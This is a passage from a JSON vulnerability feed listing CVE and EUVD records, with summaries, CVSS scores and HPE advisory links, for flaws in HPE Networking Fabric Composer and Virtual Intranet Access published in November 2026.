system.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:23","euvd":{"id":"EUVD-2026-116163","description":"An authentication bypass vulnerability in the API endpoint of HPE Networking Fabric Composer could allow an unauthenticated adjacent attacker to circumvent existing authentication controls if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to gain unauthorized access to the affected system.","published_time":"2026-11-03T19:51:02","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95747","summary":"A privilege escalation vulnerability exists in the SSH interface of HPE Networking Fabric Composer which could allow an authenticated low-privileged attacker to exceed their authorized level of access, if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to gain unauthorized access to internal services of the affected system.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:23","euvd":{"id":"EUVD-2026-116164","description":"A privilege escalation vulnerability exists in the SSH interface of HPE Networking Fabric Composer which could allow an authenticated low-privileged attacker to exceed their authorized level of access, if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to gain unauthorized access to internal services of the affected system.","published_time":"2026-11-03T19:51:04","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95748","summary":"A SQL injection vulnerability exists in HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated adjacent attacker to run arbitrary database commands.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:23","euvd":{"id":"EUVD-2026-116166","description":"A SQL injection vulnerability exists in HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated adjacent attacker to run arbitrary database commands.","published_time":"2026-11-03T19:51:05","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95749","summary":"A missing integrity verification vulnerability exists in HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated remote attacker to execute arbitrary code on the affected system.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:23","euvd":{"id":"EUVD-2026-116167","description":"A missing integrity verification vulnerability exists in HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated remote attacker to execute arbitrary code on the affected system.","published_time":"2026-11-03T19:51:06","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95750","summary":"An improper certificate validation vulnerability in HPE Networking Fabric Composer could allow an unauthenticated remote attacker to access sensitive information if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to obtain sensitive information, including credentials.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:23","euvd":{"id":"EUVD-2026-116168","description":"An improper certificate validation vulnerability in HPE Networking Fabric Composer could allow an unauthenticated remote attacker to access sensitive information if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to obtain sensitive information, including credentials.","published_time":"2026-11-03T19:51:07","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95751","summary":"An improper certificate validation vulnerability in the API of HPE Networking Fabric Composer could allow an unauthenticated remote attacker to circumvent existing authentication controls if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to gain unauthorized access to the affected system.","cvss":7.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.4,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:23","euvd":{"id":"EUVD-2026-116169","description":"An improper certificate validation vulnerability in the API of HPE Networking Fabric Composer could allow an unauthenticated remote attacker to circumvent existing authentication controls if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to gain unauthorized access to the affected system.","published_time":"2026-11-03T19:51:08","cvss":7.4,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95752","summary":"A local privilege escalation vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow a low-privileged local attacker to elevate their privileges on the affected system.","cvss":7.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:23","euvd":{"id":"EUVD-2026-116170","description":"A local privilege escalation vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow a low-privileged local attacker to elevate their privileges on the affected system.","published_time":"2026-11-03T19:51:09","cvss":7.1,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95753","summary":"A privilege escalation vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow an authenticated attacker with low privileges to disclose network traffic from switches managed by Fabric Composer.","cvss":7.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:23","euvd":{"id":"EUVD-2026-116171","description":"A privilege escalation vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow an authenticated attacker with low privileges to disclose network traffic from switches managed by Fabric Composer.","published_time":"2026-11-03T19:51:09","cvss":7.1,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95738","summary":"Authentication bypass vulnerabilities in the affected interface of HPE Networking Fabric Composer could allow an unauthenticated remote attacker to circumvent existing authentication controls if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to gain administrative access to the affected system.","cvss":8.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:22","euvd":{"id":"EUVD-2026-116282","description":"Authentication bypass vulnerabilities in the affected interface of HPE Networking Fabric Composer could allow an unauthenticated remote attacker to circumvent existing authentication controls if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to gain administrative access to the affected system.","published_time":"2026-11-03T19:50:55","cvss":8.1,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95739","summary":"An improper restriction of excessive authentication attempts vulnerability in the API of HPE Networking Fabric Composer could allow an unauthenticated remote attacker to conduct brute-force attacks against user accounts if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to gain administrative access to the affected system.","cvss":8.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:22","euvd":{"id":"EUVD-2026-116283","description":"An improper restriction of excessive authentication attempts vulnerability in the API of HPE Networking Fabric Composer could allow an unauthenticated remote attacker to conduct brute-force attacks against user accounts if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to gain administrative access to the affected system.","published_time":"2026-11-03T19:50:55","cvss":8.1,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95740","summary":"An improper certificate validation vulnerability in HPE Networking Fabric Composer could allow an unauthenticated adjacent attacker to intercept communications between the affected system and remote servers if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to obtain sensitive information.","cvss":8.0,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.0,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:22","euvd":{"id":"EUVD-2026-116284","description":"An improper certificate validation vulnerability in HPE Networking Fabric Composer could allow an unauthenticated adjacent attacker to intercept communications between the affected system and remote servers if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to obtain sensitive information.","published_time":"2026-11-03T19:50:56","cvss":8.0,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95741","summary":"A missing integrity verification vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow a low-privileged authenticated attacker to gain elevated privileges on the affected system.","cvss":8.0,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.0,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:22","euvd":{"id":"EUVD-2026-116285","description":"A missing integrity verification vulnerability exists in the API of HPE Networking Fabric Composer. Successful exploitation could allow a low-privileged authenticated attacker to gain elevated privileges on the affected system.","published_time":"2026-11-03T19:50:57","cvss":8.0,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95742","summary":"An arbitrary file write vulnerability exists in the underlying operating system of HPE Networking Fabric Composer. Successful exploitation could allow an authenticated local attacker to create or overwrite arbitrary files on the affected system with elevated privileges.","cvss":7.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:22","euvd":{"id":"EUVD-2026-116286","description":"An arbitrary file write vulnerability exists in the underlying operating system of HPE Networking Fabric Composer. Successful exploitation could allow an authenticated local attacker to create or overwrite arbitrary files on the affected system with elevated privileges.","published_time":"2026-11-03T19:50:58","cvss":7.8,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95743","summary":"Local privilege escalation vulnerabilities exist in the underlying operating system of HPE Networking Fabric Composer. Successful exploitation could allow a local attacker with low privileges to gain elevated privileges on the affected system.","cvss":7.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:22","euvd":{"id":"EUVD-2026-116160","description":"Local privilege escalation vulnerabilities exist in the underlying operating system of HPE Networking Fabric Composer. Successful exploitation could allow a local attacker with low privileges to gain elevated privileges on the affected system.","published_time":"2026-11-03T19:50:59","cvss":7.8,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95744","summary":"A sensitive information disclosure vulnerability in the affected interface of HPE Networking Fabric Composer could allow an authenticated low-privileged attacker to access sensitive information, if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to intercept protected network traffic.","cvss":7.7,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.7,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:22","euvd":{"id":"EUVD-2026-116161","description":"A sensitive information disclosure vulnerability in the affected interface of HPE Networking Fabric Composer could allow an authenticated low-privileged attacker to access sensitive information, if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to intercept protected network traffic.","published_time":"2026-11-03T19:51:00","cvss":7.7,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95745","summary":"A vulnerability in the API of HPE Networking Fabric Composer could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to cause the management services to become unavailable.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:22","euvd":{"id":"EUVD-2026-116162","description":"A vulnerability in the API of HPE Networking Fabric Composer could allow an unauthenticated remote attacker to conduct a denial of service attack. Successful exploitation could allow an attacker to cause the management services to become unavailable.","published_time":"2026-11-03T19:51:01","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95730","summary":"A buffer overflow vulnerability exists in HPE Networking VIA that could allow an authenticated low-privileged local user to cause a denial of service. Successful exploitation could allow an attacker to interrupt the normal operation of the affected system.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:21","euvd":{"id":"EUVD-2026-116207","description":"A buffer overflow vulnerability exists in HPE Networking VIA that could allow an authenticated low-privileged local user to cause a denial of service. Successful exploitation could allow an attacker to interrupt the normal operation of the affected system.","published_time":"2026-11-03T19:57:49","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US"],"products":["Virtual Intranet Access (VIA)"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95731","summary":"Hardcoded password vulnerabilities in the command-line interface of HPE Networking Fabric Composer could allow an unauthenticated remote attacker to access the affected system using hardcoded credentials. Successful exploitation could allow an attacker to gain unauthorized administrative access to the affected system with elevated privileges.","cvss":9.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:21","euvd":{"id":"EUVD-2026-116275","description":"Hardcoded password vulnerabilities in the command-line interface of HPE Networking Fabric Composer could allow an unauthenticated remote attacker to access the affected system using hardcoded credentials. Successful exploitation could allow an attacker to gain unauthorized administrative access to the affected system with elevated privileges.","published_time":"2026-11-03T19:50:49","cvss":9.8,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95732","summary":"An authentication bypass vulnerability exists in the underlying operating system of HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated adjacent attacker to execute arbitrary code on the affected system.","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:21","euvd":{"id":"EUVD-2026-116276","description":"An authentication bypass vulnerability exists in the underlying operating system of HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated adjacent attacker to execute arbitrary code on the affected system.","published_time":"2026-11-03T19:50:50","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95733","summary":"A vulnerability exists in a component of HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated adjacent attacker to execute arbitrary code on the affected system.","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:21","euvd":{"id":"EUVD-2026-116277","description":"A vulnerability exists in a component of HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated adjacent attacker to execute arbitrary code on the affected system.","published_time":"2026-11-03T19:50:51","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95734","summary":"A sensitive information disclosure vulnerability in the API of HPE Networking Fabric Composer could allow an authenticated low-privileged user to access sensitive information beyond what is authorized by the user's existing privilege level. Successful exploitation could allow an attacker to obtain sensitive credentials stored on the affected system.","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:21","euvd":{"id":"EUVD-2026-116278","description":"A sensitive information disclosure vulnerability in the API of HPE Networking Fabric Composer could allow an authenticated low-privileged user to access sensitive information beyond what is authorized by the user's existing privilege level. Successful exploitation could allow an attacker to obtain sensitive credentials stored on the affected system.","published_time":"2026-11-03T19:50:52","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95735","summary":"An improper certificate validation vulnerability exists in HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated remote attacker, under certain preconditions outside the attacker's control, to obtain sensitive information, including credentials.","cvss":8.7,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.7,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:21","euvd":{"id":"EUVD-2026-116279","description":"An improper certificate validation vulnerability exists in HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated remote attacker, under certain preconditions outside the attacker's control, to obtain sensitive information, including credentials.","published_time":"2026-11-03T19:50:52","cvss":8.7,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95736","summary":"Improper certificate validation vulnerabilities exist in the affected interface of HPE Networking Fabric Composer, which could be exploited by an unauthenticated adjacent attacker if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to intercept sensitive information.","cvss":8.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:21","euvd":{"id":"EUVD-2026-116280","description":"Improper certificate validation vulnerabilities exist in the affected interface of HPE Networking Fabric Composer, which could be exploited by an unauthenticated adjacent attacker if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to intercept sensitive information.","published_time":"2026-11-03T19:50:53","cvss":8.3,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95737","summary":"A privilege escalation vulnerability exists in the underlying operating system of HPE Networking Fabric Composer. Successful exploitation could allow a local attacker with high privileges to gain elevated privileges on the underlying host operating system.","cvss":8.2,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.2,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:21","euvd":{"id":"EUVD-2026-116281","description":"A privilege escalation vulnerability exists in the underlying operating system of HPE Networking Fabric Composer. Successful exploitation could allow a local attacker with high privileges to gain elevated privileges on the underlying host operating system.","published_time":"2026-11-03T19:50:54","cvss":8.2,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US"],"products":["Fabric Composer","Fabric Composer"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95722","summary":"A local privilege escalation vulnerability has been discovered in the Virtual Intranet Access (VIA) client. Successful exploitation of this vulnerability could allow a local attacker with low privileges to execute arbitrary commands with elevated privileges on the underlying operating system.","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:20","euvd":{"id":"EUVD-2026-116199","description":"A local privilege escalation vulnerability has been discovered in the Virtual Intranet Access (VIA) client. Successful exploitation of this vulnerability could allow a local attacker with low privileges to execute arbitrary commands with elevated privileges on the underlying operating system.","published_time":"2026-11-03T19:57:42","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US"],"products":["Virtual Intranet Access (VIA)"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95723","summary":"A missing integrity verification vulnerability has been discovered in the Virtual Intranet Access (VIA) client. Successful exploitation of this vulnerability could allow a low-privileged local attacker to execute arbitrary code with elevated privileges on the underlying operating system.","cvss":8.4,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.4,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:20","euvd":{"id":"EUVD-2026-116200","description":"A missing integrity verification vulnerability has been discovered in the Virtual Intranet Access (VIA) client. Successful exploitation of this vulnerability could allow a low-privileged local attacker to execute arbitrary code with elevated privileges on the underlying operating system.","published_time":"2026-11-03T19:57:43","cvss":8.4,"cvss_version":"3.1","epss":0.0,"assigner":"hpe","references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US"],"products":["Virtual Intranet Access (VIA)"],"vendors":["Hewlett Packard Enterprise (HPE)"]},"ghsa":null},{"cve_id":"CVE-2026-95724","summary":"An improper certificate validation vulnerability exists in HPE Networking Virtual Intranet Access (VIA). Successful exploitation could allow an unauthenticated remote attacker to bypass authentication mechanisms, leading to the possible disclosure of sensitive information.","cvss":8.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05173en_us&docLocale=en_US"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:20","euvd":{"id":"EUVD-2026-116201","description":"An improper certificate validation vulnerability exists in HPE Networking Virtual Intranet Access (VIA). Successful exploitation could allow an unauthenticated remote attacker 